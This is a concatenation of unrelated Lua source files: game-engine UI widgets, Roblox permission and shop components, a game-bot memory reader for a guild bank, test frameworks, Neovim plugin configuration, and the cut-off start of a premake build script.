---tuning_manager.lua
---author: Karl
---date: 2021.8.29
---reference: src/imgui/ui/Console.lua
---desc: Defines a ui that manages the matrices and the lua code context of the matrices
---------------------------------------------------------------------------------------------------
local Widget = require('imgui.Widget')
---@class im.TuningManager:im.Widget
local M = LuaClass("im.TuningManager", Widget)
---------------------------------------------------------------------------------------------------
local InitTuningMatrixSaves = require("BHElib.scenes.tuning_stage.imgui.init_tuning_matrix_saves")
local InitTuningManagerSaves = require("BHElib.scenes.tuning_stage.imgui.init_tuning_manager_saves")
local CodeSnapshotBuffer = require("BHElib.scenes.tuning_stage.imgui.code_snapshot_buffer")
local FS = require("file_system.file_system")
---------------------------------------------------------------------------------------------------
local im = imgui
local Remove = table.remove
---------------------------------------------------------------------------------------------------
---init
local _backup_dir = "data/BHElib/scenes/tuning_stage/backups/"
---@param tuning_ui TuningUI
function M:ctor(tuning_ui, ...)
self.tuning_ui = tuning_ui
self.num_locals = 0
self.local_names = {}
self.local_values = {}
self.boss_fire_flag = true
self.file_name_suffix = ""
self.backup_dir = _backup_dir
self.name_width = 150
self.value_width = 240
-- context control
self.context_control = CodeSnapshotBuffer(tuning_ui, "Context Control", self:getSyncFilePath())
self.context_control:changeSync(true)
if not FS.isFileExist(_backup_dir) then
FS.createDirectory(_backup_dir)
end
Widget.ctor(self, ...)
self:addChild(function()
self:_render()
end)
end
---------------------------------------------------------------------------------------------------
---interfaces
function M:getSyncFilePath()
return "data/BHElib/scenes/tuning_stage/code/context_control.lua"
end
function M:appendLocal()
local i = self.num_locals + 1
self.num_locals = i
self.local_names[i] = "var"
self.local_values[i] = "0"
end
---@param index number the index of the local variable to remove
function M:removeLocal(index)
local n = self.num_locals
assert(1 <= index and index <= n, "Error: Index out of range!")
Remove(self.local_names, index)
Remove(self.local_values, index)
self.num_locals = n - 1
end
---------------------------------------------------------------------------------------------------
---imgui render
function M:renderButtons()
self:renderAddMatrixButtons()
end
function M:renderAddMatrixButtons()
for key_str, matrix_save in pairs(InitTuningMatrixSaves) do
local ret = im.button("+matrix"..key_str)
if ret then
self.tuning_ui:appendMatrixWindow(matrix_save, matrix_save.matrix_title)
end
end
end
---@param dir_path string the path where backups are located
function M:renderLoadBackupMenu(dir_path)
local file_info = FS.getBriefOfFilesInDirectory(dir_path)
local dirs = {}
local file_names = {}
for _, item in ipairs(file_info) do
if item.isDirectory then
dirs[#dirs + 1] = item
else
file_names[#file_names + 1] = item.name
end
end
for i = 1, #dirs do
local dir = dirs[i]
if im.beginMenu(dir.name.."##directory") then
self:renderLoadBackupMenu(dir_path..dir.name.."/")
im.endMenu()
end
end
for i = 1, #file_names do
local file_name = file_names[i]
if im.beginMenu(file_name) then
if im.menuItem("Replace") then
self.tuning_ui:loadBackup(dir_path..file_name, 0)
end
if im.menuItem("Append Matrices") then
self.tuning_ui:loadBackup(dir_path..file_name, 1)
end
if im.menuItem("Load Manager Save") then
self.tuning_ui:loadBackup(dir_path..file_name, 2)
end
if im.beginMenu("Delete") then
if im.menuItem("Confirm") then
os.remove(dir_path..file_name)
end
im.endMenu()
end
im.endMenu()
end
end
if dir_path == _backup_dir and #file_names > 0 and im.menuItem("move backups to storage") then
for i = 1, #file_names do
local storage_path = dir_path.."storage/"
if not FS.isFileExist(storage_path) then
FS.createDirectory(storage_path)
end
local file_name = file_names[i]
os.rename(dir_path..file_name, storage_path..file_name)
end
elseif dir_path == _backup_dir.."auto/" and im.beginMenu("Delete Automatic Backups") then
if im.menuItem("Confirm") then
for i = 1, #file_names do
local file_name = file_names[i]
os.remove(dir_path..file_name)
end
end
im.endMenu()
end
end
function M:_render()
im.setWindowFontScale(1.1)
if im.beginMenuBar() then
if im.beginMenu("End Stage") then
if im.menuItem("Confirm") then
local Callbacks = require("BHElib.scenes.stage.stage_transition_callbacks")
self.tuning_ui:callStageTransition(Callbacks.createMenuAndSaveReplay)
end
im.endMenu()
end
if im.beginMenu("Load Backup") then
self:renderLoadBackupMenu(_backup_dir)
im.endMenu()
end
if im.beginMenu("Save Backup") then
if im.menuItem("Confirm") then
local file_name = os.date("%Y%m%d_%H%M%S_")..self.file_name_suffix..".bak"
self.tuning_ui:saveBackup(_backup_dir..file_name)
end
im.endMenu()
end
im.endMenuBar()
end
im.separator()
do
local ret = im.button("+local")
if ret then
self:appendLocal()
end
im.sameLine()
local changed, value = im.checkbox("boss fire", self.boss_fire_flag)
if changed then
self.boss_fire_flag = value
end
im.sameLine()
local control = self.context_control
control:renderSyncButtons()
if not control:isSync() then
control:renderEditButtons()
end
local str
im.setNextItemWidth(self.value_width - 30)
changed, str = im.inputText("File Name", self.file_name_suffix)
if changed then
self.file_name_suffix = str
end
end
self:renderButtons()
local local_names = self.local_names
local local_values = self.local_values
local num_locals = self.num_locals
local to_del = nil
for i = 1, num_locals do
im.setNextItemWidth(self.name_width)
local changed, str = im.inputText("##name"..tostring(i), local_names[i], im.ImGuiInputTextFlags.None)
if changed then
local_names[i] = str
end
im.sameLine()
im.setNextItemWidth(self.value_width)
changed, str = im.inputText("##value"..tostring(i), local_values[i], im.ImGuiInputTextFlags.None)
if changed then
local_values[i] = str
end
im.sameLine()
local pressed = im.button("-##btn"..i)
if pressed then
to_del = i
end
end
if to_del then
self:removeLocal(to_del)
end
end
return M
|
module("dataSaver", package.seeall)
if not json then
require "json"
end
function saveValue(key, value)
--temp variable
local app
--default data storage
local path = "|D|app.txt"
--open file
local file = io.open(path, "r")
if file then
-- read all contents of file into a string
local contents = file:read( "*a" )
--Decode json
app = json.decode(contents)
io.close( file ) -- close the file after using it
--if file was empty
if(not app.data) then
app.data = {}
end
--store value in table
app.data[key] = value
--Encode table to json
contents = json.encode(app)
--open file
local file = io.open( path, "w" )
--store Json string in file
file:write( contents )
--close file
io.close( file )
else
--if file doesn't exist
--create default structure
app = {data = {}}
--store value
app.data[key] = value
--Encode in Json
local contents = json.encode(app)
--create file
local file = io.open( path, "w" )
--save Json string in file
file:write( contents )
--close file
io.close( file )
end
end
function loadValue(key)
--temp variable
local app
local path = "|D|app.txt"
--open file
local file = io.open( path, "r" )
if file then
--read contents
local contents = file:read( "*a" )
--Decode Json
app = json.decode(contents)
if(not app.data) then app.data = {}; end
--close file
io.close( file )
--return value
return app.data[key]
end
--if doesn't exist
return nil
end
function save( filename, dataTable )
local path = filename..".json"
--Encode table into Json string
local JsonString = json.encode( dataTable )
-- io.open opens a file at path. Creates one if doesn't exist
local file = io.open( path, "w" )
if file then
--write Json string into file
file:write( JsonString )
-- close the file after using it
io.close( file )
end
end
function load( filename )
local path = filename..".json"
-- will hold contents of file
local contents
-- io.open opens a file at path. returns nil if no file found
local file = io.open( path, "r" )
if file then
-- read all contents of file into a string
contents = file:read( "*a" )
-- close the file after using it
io.close( file )
--return Decoded Json string
return json.decode( contents )
else
--or return nil if file didn't ex
return nil
end
end
|
object_tangible_wearables_necklace_necklace_ace_pilot_empire_f = object_tangible_wearables_necklace_shared_necklace_ace_pilot_empire_f:new {
}
ObjectTemplates:addTemplate(object_tangible_wearables_necklace_necklace_ace_pilot_empire_f, "object/tangible/wearables/necklace/necklace_ace_pilot_empire_f.iff")
|
--[=[
Utility functions to provide/configure a permission. See [BasePermissionProvider] and [PermissionService].
@server
@class PermissionProviderUtils
]=]
local require = require(script.Parent.loader).load(script)
local PermissionProviderConstants = require("PermissionProviderConstants")
local PermissionProviderUtils = {}
--[=[
Creates a group rank config
@param config { groupId: number, minAdminRequiredRank: number, minCreatorRequiredRank: number }
@return table
]=]
function PermissionProviderUtils.createGroupRankConfig(config)
assert(type(config.groupId) == "number", "Bad groupId")
assert(type(config.minCreatorRequiredRank) == "number", "Bad minCreatorRequiredRank")
assert(type(config.minAdminRequiredRank) == "number", "Bad minAdminRequiredRank")
return {
type = PermissionProviderConstants.GROUP_RANK_CONFIG_TYPE;
groupId = config.groupId;
minAdminRequiredRank = config.minAdminRequiredRank;
minCreatorRequiredRank = config.minCreatorRequiredRank;
remoteFunctionName = config.remoteFunctionName or PermissionProviderConstants.DEFAULT_REMOTE_FUNCTION_NAME;
}
end
--[=[
Creates a single user config
@param config { userId: number }
@return table
]=]
function PermissionProviderUtils.createSingleUserConfig(config)
assert(type(config.userId) == "number", "Bad userId")
return {
type = PermissionProviderConstants.SINGLE_USER_CONFIG_TYPE;
userId = config.userId;
remoteFunctionName = config.remoteFunctionName or PermissionProviderConstants.DEFAULT_REMOTE_FUNCTION_NAME;
}
end
--[=[
Creates an automatic configuration from the game.
@return table
]=]
function PermissionProviderUtils.createConfigFromGame()
if game.CreatorType == Enum.CreatorType.Group then
return PermissionProviderUtils.createGroupRankConfig({
groupId = game.CreatorId;
minAdminRequiredRank = 250;
minCreatorRequiredRank = 254;
})
else
return PermissionProviderUtils.createSingleUserConfig({
userId = game.CreatorId;
})
end
end
return PermissionProviderUtils
|
function mono.menu:init()
--if self.menuSearch or self.timer then return end
self.timer = createTimer()
self.timer.Interval = 1000
self.timer.OnTimer = function(timer)
-- wait for normal mono script to create mono menu, check every 5 seconds
if not miMonoTopMenuItem then return end
self.timer.destroy()
self.timer = nil
self.menuSearch = createMenuItem(miMonoTopMenuItem)
self.menuSearch.Caption = 'Search'
self.menuSearch.Name = 'miMonoSearch'
self.menuSearch.OnClick = function(sender) self:OnSearchClick() end
miMonoTopMenuItem.add(self.menuSearch)
end
end
function mono.menu:OnSearchClick()
if mono.selectedImage then
mono.formSearch:show()
formMonoSearch:centerScreen()
else
mono.formSelectImage:show()
end
end
mono.menu:init()
|
SILE = require("core/sile")
SILE.documentState = { documentClass = { state = { } } }
SILE.typesetter:init(SILE.newFrame({id="foo"}))
local hlist = require("tests/testdata")
print(SILE.linebreak:doBreak(hlist, 30.0))
|
local table, string = table, string
local cubictest, reporter, events = cubictest, cubictest.reporter, cubictest.events
local Start, End, Step, Error, Run = events.Start, events.End, events.Step, events.Error, events.Run
local specifications = {}
cubictest.specifications = specifications
local testrunner = {}
cubictest.testrunner = testrunner
-- classes
local Testable = {
description=nil,
func= function() error("no test defined") end,
__tostring = function (self) return self.description end,
new = function(self, object)
object = object or {}
object.children = {}
if self.__new then
self.__new(object)
end
return setmetatable(object, {
__index = self,
__tostring = self.__tostring,
})
end,
add = function(self, child)
table.insert(self.children, child)
child.parent = self
end,
run = function(self, run_state)
local parent = self.parent
-- make sure we don't have stale events from the last run
-- and start the event log
self.run_state = run_state
-- run its test phases
run_state:add(Start())
if self._set_up then
self:_set_up()
end
if parent and parent.fixture_before_each then
parent.fixture_before_each()
end
if self.fixture_setup then
self.fixture_setup()
end
-- run, but only if fixtures haven't already failed
if run_state.success then
self:_run(run_state)
end
if self.fixture_teardown then
self.fixture_teardown()
end
if parent and parent.fixture_after_each then
parent.fixture_after_each()
end
if self._tear_down then
self:_tear_down()
end
run_state:add(End())
return run_state
end,
try = function(self, func, ...)
local succeed, err_or_result = pcall(func, ...)
if not succeed then
self.run_state:add(Error(err_or_result))
end
return err_or_result
end
}
cubictest.Testable = setmetatable(Testable, {
__tostring = Testable.__tostring,
__call = function(self, object) return self:new(object) end,
})
cubictest.TestCase = Testable {
type = "TestCase",
step = function(self, conjunction, description)
local step = Step(conjunction, description)
self.run_state:add(step)
self.ctx_step = step
return step
end,
_run = function(self, run_state)
return self:try(self.func)
end,
}
cubictest.Specification = Testable {
type = "Specification",
_set_up = function(self)
if not self.is_set_up then
self:try(self.func)
self.is_set_up = true
end
end,
_run = function(self, run_state)
for _, testcase in pairs(self.children) do
testrunner.ctx_case = testcase
local result_state = testcase:run(Run(testcase, run_state))
run_state:add(result_state)
end
testrunner.ctx_case = nil
end,
register_testcase = function(self, description, func)
local testcase = cubictest.TestCase:new {
description = description,
func = func
}
self:add(testcase)
return testcase
end
}
-- running
function cubictest.testrunner:runAll(filter)
if type(filter) == "string" then
filter = cubictest.match.matches(filter)
end
local run_state = Run({ type = "Suite" })
run_state:add(Start())
for _, spec in pairs(specifications) do
if not filter or filter(spec) then
self.ctx_spec = spec
local result_state = spec:run(Run(spec, run_state))
run_state:add(result_state)
end
end
self.ctx_spec = nil
run_state:add(End())
reporter:report_event(run_state)
reporter:print()
end
local usage = "<filter> | all"
core.register_chatcommand(core.get_current_modname() .. ":run", {
description = "Run tests.",
params = usage,
privs = { server = true },
func = function(name, param)
if param == "all" then
cubictest.testrunner:runAll()
return true
end
local filter = string.match(param, "([^ ]+)")
if filter then
cubictest.testrunner:runAll(filter)
return true
end
return false, "Usage: " .. usage
end,
})
|
include("memorytable.lua");
include("guildbankitem.lua");
CGuildbank = class(
function (self)
self.PageListAddress = memoryReadRepeat("uintptr", getProc(), getBaseAddress(addresses.bank.guild.base),0xC4);
self.PageAddresses = {};
self.BagSlot = {};
local timeStart = getTime();
if( settings.profile.options.DEBUG_INV ) then
printf( "Guild Bank update took: %d\n", deltaTime( getTime(), timeStart ) );
end;
end
);
function CGuildbank:update()
local timeStart = getTime();
if self:updatePageAddresses() == false then
-- Unable to update at this moment
return
end
-- Flick though pages to initialize items
for i = 1, #self.PageAddresses do
RoMCode("GuildBank_PageRequest("..i..")")
end
for slotNumber = 1, #self.PageAddresses*100, 1 do
if self.BagSlot[slotNumber] then
self.BagSlot[ slotNumber ]:update();
else
self.BagSlot[slotNumber] = CGuildbankItem( slotNumber )
end
end
if( settings.profile.options.DEBUG_INV ) then
printf( "Guild Bank update took: %d\n", deltaTime( getTime(), timeStart ) );
end;
end;
function CGuildbank:updatePageAddresses()
local tmpPage1Address = memoryReadUIntPtr(getProc(), addresses.staticGuildBankBase,{0xC4,0x0})
-- If update not necessary
if self.PageAddresses[1] ~= nil and self.PageAddresses[1] == tmpPage1Address and self.PageAddresses[page] then
return true
end
-- See if Guild Vault is available in this zone.
if tmpPage1Address == self.PageListAddress then
print ("Guild Vault not available here.")
return false
end
-- Update page addresses.
self.PageAddresses = {[1] = tmpPage1Address}
local curPage = 1
local nextPageAddress, newFound
repeat
-- Look for new page address among the 3 addresses on this page.
newFound = false
for i = 0, 2 do
nextPageAddress = memoryReadUInt(getProc(),self.PageAddresses[curPage] + i*0x4)
-- see if we already have this address
for k,v in pairs(self.PageAddresses) do
if self.PageListAddress == nextPageAddress or v == nextPageAddress then
nextPageAddress = nil
break
end
end
if nextPageAddress then -- add it
newFound = true
curPage = curPage + 1
self.PageAddresses[curPage] = nextPageAddress
break
end
end
until not newFound
return true
end
function CGuildbank:findItem( itemNameOrId, range)
if memoryReadBytePtr(getProc(),addresses.staticGuildBankBase, addresses.guildBankOpen_offset) ~= 1 then
print("Warning! Guild bank is not open.")
return
end
if self:updatePageAddresses() == false then
-- Unable to update at this moment
return
end
local first, last, location = getInventoryRange(range) -- get bag slot range
if location ~= "guildbank" and location ~= nil then
printf("You can only use guildbank ranges with 'guildbank:findItem'. You cannot use '%s' which is in %s\n", range, location)
end
if first == nil then
first , last = 1, #self.PageAddresses*100 -- default, search all
end
local smallestStack = nil
local item
for slot = first, last do
if self.BagSlot[slot] then
item = self.BagSlot[slot]
item:update()
else
self.BagSlot[slot] = CGuildbankItem(slot)
item = self.BagSlot[slot]
end
if item.Available and (item.Name == itemNameOrId or item.Id == itemNameOrId) then
if (os.clock() - item.LastMovedTime) > ITEM_REUSE_DELAY then
if item.ItemCount > 1 then
-- find smallest stack
if smallestStack == nil or smallestStack.ItemCount > item.ItemCount then
smallestStack = item
end
else
return item
end
end
end;
end;
return smallestStack
end
function CGuildbank:itemTotalCount(itemNameOrId, range)
if memoryReadBytePtr(getProc(),addresses.staticGuildBankBase, addresses.guildBankOpen_offset) ~= 1 then
print("Warning! Guild bank is not open.")
return 0
end
if self:updatePageAddresses() == false then
-- Unable to update at this moment
return 0
end
local first, last, location = getInventoryRange(range) -- get bag slot range
if location and location ~= "guildbank" then
print("guildbank:itemTotalCount() only supports ranges in the guildbank, eg. \"guildbank\",\"guildbank1\",\"guildbank2\",etc.")
return
end
if first == nil then
first = 1
last = #self.PageAddresses*100
end
local item
local totalCount = 0;
for slot = first, last do
if self.BagSlot[slot] then
item = self.BagSlot[slot]
item:update()
else
self.BagSlot[slot] = CGuildbankItem(slot)
item = self.BagSlot[slot]
end
if item.Available and (item.Id == itemNameOrId or item.Name == itemNameOrId) then
if itemNameOrId == "<EMPTY>" or itemNameOrId == 0 then -- so you can count empty slots
totalCount = totalCount + 1
else
totalCount = totalCount + item.ItemCount;
end
end
end;
return totalCount;
end;
|
local present, _ = pcall(require, "packerInit")
local packer
if present then
packer = require("packer")
else
return false
end
local use = packer.use
return packer.startup(function()
use({
"wbthomason/packer.nvim",
})
use({
"lewis6991/impatient.nvim",
})
use({
"nathom/filetype.nvim",
})
use({
"lambdalisue/suda.vim",
})
use({
"akinsho/nvim-bufferline.lua",
after = "nord.nvim",
})
use({
"jose-elias-alvarez/nvim-lsp-ts-utils",
after = "nvim-lspconfig",
})
use({
"mhartington/formatter.nvim",
config = function()
require("plugins.formatter")
end,
})
use({
"mfussenegger/nvim-lint",
config = function()
require("plugins.linter").setup()
end,
})
use({
"famiu/feline.nvim",
after = "nvim-web-devicons",
config = function()
require("plugins.statusline")
end,
})
-- color related stuff
use({
"shaunsingh/nord.nvim",
after = "packer.nvim",
config = function()
require("theme")
end,
})
use({
"norcalli/nvim-colorizer.lua",
event = "BufRead",
config = function()
require("plugins.others").colorizer()
end,
})
-- language related plugins
use({
"nvim-treesitter/nvim-treesitter",
event = "BufRead",
config = function()
require("plugins.treesitter")
end,
})
use({
"folke/trouble.nvim",
after = "nvim-lspconfig",
config = function()
require("plugins.trouble")
end,
})
use({
"ray-x/lsp_signature.nvim",
after = "nvim-lspconfig",
})
use({
"williamboman/nvim-lsp-installer",
})
use({
"neovim/nvim-lspconfig",
after = "nvim-lsp-installer",
config = function()
require("plugins.lspconfig")
end,
})
-- Lua
use({
"ahmedkhalf/project.nvim",
config = function()
require("project_nvim").setup({
-- your configuration comes here
-- or leave it empty to use the default settings
-- refer to the configuration section below
})
end,
})
use({
"onsails/lspkind-nvim",
event = "BufRead",
config = function()
require("plugins.others").lspkind()
end,
})
use({
"kosayoda/nvim-lightbulb",
after = "nvim-lspconfig",
})
use({
"ray-x/navigator.lua",
requires = { "ray-x/guihua.lua", run = "cd lua/fzy && make" },
after = "nvim-lspconfig",
config = function()
require("navigator").setup()
end,
})
-- load compe in insert mode only
use({
"hrsh7th/nvim-cmp",
config = function()
require("plugins.cmp")
end,
wants = "LuaSnip",
requires = {
{
"L3MON4D3/LuaSnip",
wants = "friendly-snippets",
event = "InsertCharPre",
config = function()
require("plugins.luasnip")
end,
},
{
"hrsh7th/cmp-nvim-lsp",
},
{
"saadparwaiz1/cmp_luasnip",
},
{
"hrsh7th/cmp-buffer",
},
{
"hrsh7th/cmp-path",
},
{
"ray-x/cmp-treesitter",
},
{
"rafamadriz/friendly-snippets",
event = "InsertCharPre",
},
},
})
-- file managing , picker etc
use({
"kyazdani42/nvim-tree.lua",
cmd = "NvimTreeToggle",
config = function()
require("plugins.nvimtree")
end,
})
use({
"kyazdani42/nvim-web-devicons",
after = "nord.nvim",
})
use({
"nvim-lua/plenary.nvim",
})
use({
"nvim-lua/popup.nvim",
after = "plenary.nvim",
})
use({
"nvim-telescope/telescope.nvim",
cmd = "Telescope",
config = function()
require("plugins.telescope")
end,
})
use({
"nvim-telescope/telescope-fzf-native.nvim",
run = "make",
cmd = "Telescope",
})
use({
"nvim-telescope/telescope-media-files.nvim",
cmd = "Telescope",
})
-- git stuff
use({
"lewis6991/gitsigns.nvim",
after = "plenary.nvim",
config = function()
require("plugins.gitsigns")
end,
})
-- misc plugins
use({
"windwp/nvim-autopairs",
after = "nvim-cmp",
config = function()
require("plugins.autopairs")
end,
})
use({
"andymass/vim-matchup",
event = "CursorMoved",
})
use({
"b3nj5m1n/kommentary",
config = function()
require("plugins.others").comment()
end,
})
use({
"glepnir/dashboard-nvim",
--[[cmd = {
"Dashboard",
"DashboardNewFile",
"DashboardJumpMarks",
"SessionLoad",
"SessionSave"
},]]
--
setup = function()
require("plugins.dashboard")
end,
})
use({
"tweekmonster/startuptime.vim",
cmd = "StartupTime",
})
-- smooth scroll
use({
"karb94/neoscroll.nvim",
event = "WinScrolled",
config = function()
require("plugins.others").neoscroll()
end,
})
use({
"Pocco81/TrueZen.nvim",
cmd = {
"TZAtaraxis",
"TZMinimalist",
"TZFocus",
},
config = function()
require("plugins.zenmode")
end,
})
use({
"lukas-reineke/indent-blankline.nvim",
event = "BufRead",
setup = function()
require("plugins.others").blankline()
end,
})
use({
"folke/which-key.nvim",
event = "VimEnter",
config = function()
require("which-key").setup({
-- your configuration comes here
-- or leave it empty to use the default settings
-- refer to the configuration section below
})
end,
})
use({
"folke/lua-dev.nvim",
})
use({
"rcarriga/nvim-notify",
config = function()
require("plugins.others").notify()
end,
})
use({
"phaazon/hop.nvim",
cmd = {
"HopWord",
"HopLine",
"HopChar1",
"HopChar2",
"HopPattern",
},
as = "hop",
config = function()
-- you can configure Hop the way you like here; see :h hop-config
require("hop").setup()
end,
})
end)
|
local class = require('middleclass')
local Controller = require('mvc.Controller')
local HasSignals = require('HasSignals')
local ShopController = class("ShopController", Controller):include(HasSignals)
function ShopController:initialize()
Controller.initialize(self)
HasSignals.initialize(self)
end
function ShopController:viewDidLoad()
self.view:layout()
self.view:on('buy',function(entry,mul)
local rmb = entry[1]
local gem = entry[2]
local Pay = require('pay.pay')
Pay.go(rmb*mul,function(success)
if success then
local app = require("app.App"):instance()
app.session.user:paySuccess(gem*mul,rmb*mul)
end
end)
self.emitter:emit('back')
end)
end
function ShopController:clickBack()
self.emitter:emit('back')
end
function ShopController:finalize()-- luacheck: ignore
end
return ShopController
|
local Players = game:GetService("Players")
local MarketplaceService = game:GetService("MarketplaceService")
local Roact = require(script.Parent.Roact)
local RoactMaterial = require(script.Parent.RoactMaterial)
local MarketPromise = require(script.Parent.MarketPromise)
local UI_CORNER_ENABLED = true
local ShopEntry = Roact.Component:extend("ShopEntry")
ShopEntry.defaultProps = {
LayoutOrder = 0,
EntryName = "Suite",
TopText = "Suite",
BottomText = "",
AssetId = 5088135,
InfoType = Enum.InfoType.GamePass,
Theme = RoactMaterial.Themes.Dark,
}
function ShopEntry:init(props)
self:setState({
PriceText = "ERR_FAIL",
ProductImage = "rbxasset://textures/ui/GuiImagePlaceholder.png",
})
self.position, self.setPosition = Roact.createBinding(-49)
MarketPromise.PromiseProductInfo(props.AssetId, props.InfoType):AndThen(function(ProductInfo)
if ProductInfo.PriceInRobux ~= 0 then
self:setState({
PriceText = tostring(ProductInfo.PriceInRobux),
})
end
if ProductInfo.IconImageAssetId ~= 0 then
self:setState({
ProductImage = string.format("rbxassetid://%d", ProductInfo.IconImageAssetId),
})
end
end):Catch(warn)
end
function ShopEntry:render()
return Roact.createElement(RoactMaterial.ThemeProvider, {
Theme = self.props.Theme,
}, {
[self.props.EntryName] = Roact.createElement("Frame", {
BackgroundTransparency = 1,
LayoutOrder = self.props.LayoutOrder,
Size = UDim2.fromScale(0.75, 0.75),
AnchorPoint = Vector2.new(0.5, 0.5),
Position = UDim2.fromScale(0.5, 0.5),
ClipsDescendants = true,
}, {
Roact.createElement(RoactMaterial.Shadow, {
Elevation = 4,
}),
ShopMain = Roact.createElement("ImageLabel", {
BackgroundTransparency = 1,
Size = UDim2.fromScale(1, 1),
ZIndex = 6,
ClipsDescendants = true,
Image = "rbxassetid://1934624205",
ImageColor3 = Color3.fromRGB(30, 30, 30),
ScaleType = Enum.ScaleType.Slice,
SliceCenter = Rect.new(4, 4, 252, 252),
}, {
PurchaseButton = Roact.createElement(RoactMaterial.TransparentButton, {
ZIndex = 12,
Size = UDim2.fromScale(1, 1),
OnClicked = function()
if self.props.InfoType == Enum.InfoType.GamePass then
MarketplaceService:PromptGamePassPurchase(Players.LocalPlayer, self.props.AssetId)
elseif self.props.InfoType == Enum.InfoType.Product then
MarketplaceService:PromptProductPurchase(Players.LocalPlayer, self.props.AssetId)
end
end,
}),
ContainerFrame = Roact.createElement("Frame", {
Size = UDim2.fromScale(1, 1),
BackgroundTransparency = 1,
}, {
Roact.createElement("UIListLayout", {
HorizontalAlignment = Enum.HorizontalAlignment.Center,
SortOrder = Enum.SortOrder.LayoutOrder,
}),
Roact.createElement("UIPadding", {
PaddingBottom = UDim.new(0.05, 0),
PaddingLeft = UDim.new(0.143, 0),
PaddingRight = UDim.new(0.143, 0),
PaddingTop = UDim.new(0.05, 0),
}),
GamePassIcon = Roact.createElement("ImageLabel", {
Size = UDim2.fromScale(0.95, 0.95),
BackgroundTransparency = 1,
ZIndex = 6,
Image = self.state.ProductImage,
}, table.create(1, Roact.createElement("UIAspectRatioConstraint"))),
ItemTitle = Roact.createElement("Frame", {
BackgroundTransparency = 1,
LayoutOrder = 1,
Size = UDim2.fromScale(1, 0.2),
ZIndex = 6,
}, {
Roact.createElement("UIListLayout", {
HorizontalAlignment = Enum.HorizontalAlignment.Center,
SortOrder = Enum.SortOrder.LayoutOrder,
}),
TopTitle = Roact.createElement("TextLabel", {
BackgroundTransparency = 1,
Size = UDim2.fromScale(1, 0.5),
ZIndex = 6,
Font = Enum.Font.SourceSans,
Text = self.props.TopText,
TextColor3 = Color3.new(1, 1, 1),
TextScaled = true,
TextTransparency = 0.129,
TextXAlignment = Enum.TextXAlignment.Left,
TextYAlignment = Enum.TextYAlignment.Top,
}),
BottomTitle = Roact.createElement("TextLabel", {
BackgroundTransparency = 1,
Size = UDim2.fromScale(1, 0.5),
ZIndex = 6,
LayoutOrder = 1,
Font = Enum.Font.SourceSans,
Text = self.props.BottomText,
TextColor3 = Color3.new(1, 1, 1),
TextScaled = true,
TextTransparency = 0.129,
TextXAlignment = Enum.TextXAlignment.Left,
}),
}),
PriceFrame = Roact.createElement("Frame", {
LayoutOrder = 2,
BackgroundTransparency = 1,
Size = UDim2.fromScale(1, 0.096),
ZIndex = 6,
}, {
ItemPrice = Roact.createElement("TextLabel", {
BackgroundTransparency = 1,
Size = UDim2.fromScale(1, 1),
ZIndex = 6,
Font = Enum.Font.SourceSansSemibold,
Text = self.state.PriceText,
TextColor3 = Color3.fromRGB(0, 150, 136),
TextScaled = true,
TextXAlignment = Enum.TextXAlignment.Right,
[Roact.Event.Changed] = function(rbx, property)
if property == "TextBounds" or string.match(property, "Size$") then
self.setPosition(-(rbx.TextBounds.X + 4))
end
end,
}),
RobuxIcon = Roact.createElement("ImageLabel", {
AnchorPoint = Vector2.new(1, 0),
BackgroundTransparency = 1,
Position = self.position:map(function(value)
return UDim2.new(1, value, 0, 0)
end),
Size = UDim2.fromScale(1, 1),
ZIndex = 12,
Image = "rbxassetid://4456265931",
ImageColor3 = Color3.fromRGB(0, 150, 136),
ImageRectOffset = Vector2.new(43, 47),
ImageRectSize = Vector2.new(28, 32),
}, table.create(1, Roact.createElement("UIAspectRatioConstraint"))),
}),
}),
}),
}),
})
end
return ShopEntry
|
local plugin_dir = vim.fn.expand('<sfile>:p:h:h') .."/data/" -- TODO: better way to resolve plugin path?
vim.g.extmark_toy_plugin_dir = plugin_dir
|
return function ()
local cmp = require'cmp'
local luasnip = require("luasnip")
local main_sources = {
{ name = 'nvim_lsp' },
{ name = 'luasnip' },
{ name = 'buffer' },
{ name = 'path' },
{ name = 'emoji' },
{ name = 'npm', keyword_length = 4 }
}
local gitcommit_sources = {
{ name = 'cmp_git' },
{ name = 'buffer' },
{ name = 'emoji' }
}
local cmdline_cmd_sources = {
{ name = 'cmdline' },
{ name = 'cmdline_history' },
{ name = 'path' },
{ name = 'buffer' },
}
local cmdline_lookup_sources = {
{ name = 'buffer' },
{ name = 'cmdline_history' },
}
local has_words_before = function()
local line, col = unpack(vim.api.nvim_win_get_cursor(0))
return col ~= 0 and vim.api.nvim_buf_get_lines(0, line - 1, line, true)[1]:sub(col, col):match("%s") == nil
end
cmp.setup({
snippet = {
expand = function(args)
require('luasnip').lsp_expand(args.body)
end,
},
mapping = {
['<C-b>'] = cmp.mapping(cmp.mapping.scroll_docs(-4), { 'i', 'c' }),
['<C-f>'] = cmp.mapping(cmp.mapping.scroll_docs(4), { 'i', 'c' }),
['<C-Space>'] = cmp.mapping(cmp.mapping.complete(), { 'i', 'c' }),
['<C-y>'] = cmp.config.disable, -- Specify `cmp.config.disable` if you want to remove the default `<C-y>` mapping.
['<C-e>'] = cmp.mapping({
i = cmp.mapping.abort(),
c = cmp.mapping.close(),
}),
['<CR>'] = cmp.mapping.confirm({ select = false }), -- Accept currently selected item. Set `select` to `false` to only confirm explicitly selected items.
["<Tab>"] = cmp.mapping(function(fallback)
if cmp.visible() then cmp.select_next_item()
elseif luasnip.expand_or_jumpable() then luasnip.expand_or_jump()
elseif has_words_before() then cmp.complete()
else fallback() end
end, { "i", "s" }),
["<S-Tab>"] = cmp.mapping(function(fallback)
if cmp.visible() then cmp.select_prev_item()
elseif luasnip.jumpable(-1) then luasnip.jump(-1)
else fallback() end
end, { "i", "s" }),
},
sources = cmp.config.sources(main_sources)
})
-- Set configuration for specific filetype.
cmp.setup.filetype('gitcommit', { sources = cmp.config.sources(gitcommit_sources) })
-- Use buffer source for `/` (if you enabled `native_menu`, this won't work anymore).
cmp.setup.cmdline('/', { sources = cmp.config.sources(cmdline_lookup_sources) })
cmp.setup.cmdline('?', { sources = cmp.config.sources(cmdline_lookup_sources) })
-- Use cmdline & path source for ':' (if you enabled `native_menu`, this won't work anymore).
cmp.setup.cmdline(':', { sources = cmp.config.sources(cmdline_cmd_sources) })
require("luasnip.loaders.from_vscode").load()
require("cmp_git").setup()
end
|
yojimbo_version = "1.0"
libs = { "sodium", "mbedtls", "mbedx509", "mbedcrypto" }
solution "Yojimbo"
kind "ConsoleApp"
language "C++"
platforms { "x64" }
configurations { "Debug", "Release" }
if os.istarget "windows" then
